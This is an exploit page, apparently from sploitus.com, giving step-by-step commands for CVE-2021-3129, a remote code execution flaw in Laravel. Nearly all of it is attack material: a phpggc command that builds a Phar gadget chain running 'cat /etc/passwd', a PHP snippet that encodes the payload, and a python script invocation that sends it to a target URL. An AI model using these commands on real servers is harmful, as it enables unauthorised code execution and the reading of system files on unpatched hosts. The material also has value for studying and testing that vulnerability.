## https://sploitus.com/exploit?id=02C11241-781D-5142-A562-1315AFB6C819
# CVE-2021-3129
Generate a Phar package with custom commands:
`php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0`
Use the following command to enter the PHP command line environment:
`php -a`
Create a file for storing the generated payload:
`$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
$size = "";
fwrite($fp, iconv('utf-8','utf-16le',$size));`
Save the generated payload as a file. Then, use the script to execute the following command:
`python laravel.py --url "http(s)://192.168.0.109:8000//" --phar test.phar`